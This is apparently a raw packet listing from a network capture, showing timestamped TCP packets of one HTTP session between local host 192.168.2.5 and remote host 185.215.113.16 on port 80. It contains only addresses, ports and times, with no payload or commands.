Oct 24, 2024 19:29:29.460149050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460184097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460216045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460248947 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460278988 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.460282087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460318089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460350990 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460377932 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.460383892 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460413933 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460422039 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.460447073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460830927 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.532769918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.532833099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.532866955 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.532908916 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.532908916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.532967091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533000946 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.533020020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533055067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533092022 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.533107042 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533142090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533176899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533205986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533221006 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.533240080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533242941 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.533293009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533325911 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533360004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533361912 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.533411026 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533446074 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.533449888 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533484936 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.533502102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533535004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533570051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533571005 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.533603907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533638000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533639908 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.533670902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533700943 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.533704042 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533755064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533786058 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533819914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533853054 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.533854008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533907890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533942938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533977032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.533982038 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.534010887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534046888 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534054995 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.534080982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534090996 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.534113884 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534148932 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534183025 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534184933 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.534215927 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.534215927 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534251928 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534279108 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.534286022 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534427881 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534461021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534497023 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.534514904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534549952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534554005 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.534601927 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534636974 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534673929 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.534687996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534722090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534755945 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534759998 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.534789085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534823895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534826040 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.534857988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534862041 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.534893036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534933090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534967899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.534969091 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.535001993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.535006046 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.535037041 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.535085917 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.535176992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.535211086 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.535243988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.535247087 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.535279036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.535326958 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.535332918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.535428047 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574071884 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574146032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574184895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574218988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574256897 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574271917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574280024 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574310064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574345112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574378967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574413061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574419022 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574444056 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574450970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574486017 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574518919 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574553013 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574553967 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574584007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574618101 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574620008 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574651957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574686050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574687958 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574721098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574755907 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574759960 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574795008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574796915 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574825048 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574856997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574860096 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574892044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574924946 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574925900 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574961901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.574980974 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.574995041 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575046062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575074911 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575107098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575154066 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.575158119 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575189114 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575229883 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.575238943 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575274944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575306892 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575310946 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.575375080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575412035 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.575426102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575463057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575495005 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575529099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575539112 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.575562954 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575597048 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575599909 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.575629950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575666904 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.575670004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575716019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575750113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575752974 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.575783014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575789928 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.575818062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575850010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575853109 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.575884104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575917006 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575920105 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.575956106 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.575993061 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.576044083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576078892 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576117992 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.576131105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576168060 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576204062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576239109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576255083 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.576272964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576308966 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576323986 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.576364040 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.576380968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576421976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576457024 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.576776981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576828957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576863050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576898098 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.576948881 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.576982975 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577013969 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577034950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577068090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577102900 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577119112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577153921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577192068 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577204943 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577240944 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577256918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577291965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577323914 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577325106 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577359915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577409983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577442884 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577476025 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577476025 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577476025 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577510118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577543020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577573061 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577598095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577650070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577683926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577689886 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577718019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577728033 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577753067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577786922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577790022 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577821016 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577853918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577855110 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577889919 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577923059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577924013 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.577964067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.577996969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578002930 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.578030109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578063965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578097105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578130007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578131914 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.578162909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578197002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578229904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578263044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578263998 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.578289032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578305960 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578321934 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578325033 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.578339100 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578356981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578356981 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.578371048 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.578401089 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.578644991 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.654455900 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654541016 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654597044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654632092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654675961 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.654685020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654736042 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654769897 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.654771090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654805899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654839993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654846907 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.654874086 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654911995 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.654925108 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654962063 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654995918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.654997110 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655029058 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655064106 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655081034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655114889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655148983 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655149937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655185938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655220985 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655220985 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655256987 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655292034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655293941 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655349970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655385971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655388117 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655420065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655453920 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655455112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655510902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655546904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655546904 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655581951 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655616045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655616045 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655651093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655685902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655687094 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655720949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655755043 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655755997 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655808926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655824900 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655860901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655864000 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655894041 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655929089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655962944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.655989885 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.655997992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.656032085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.656037092 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.656066895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.656100988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.656101942 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.656135082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.656168938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.656172991 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.656203032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.656236887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.656238079 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.656270981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.656305075 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.656306028 CEST	49725	80	192.168.2.5	185.215.113.16
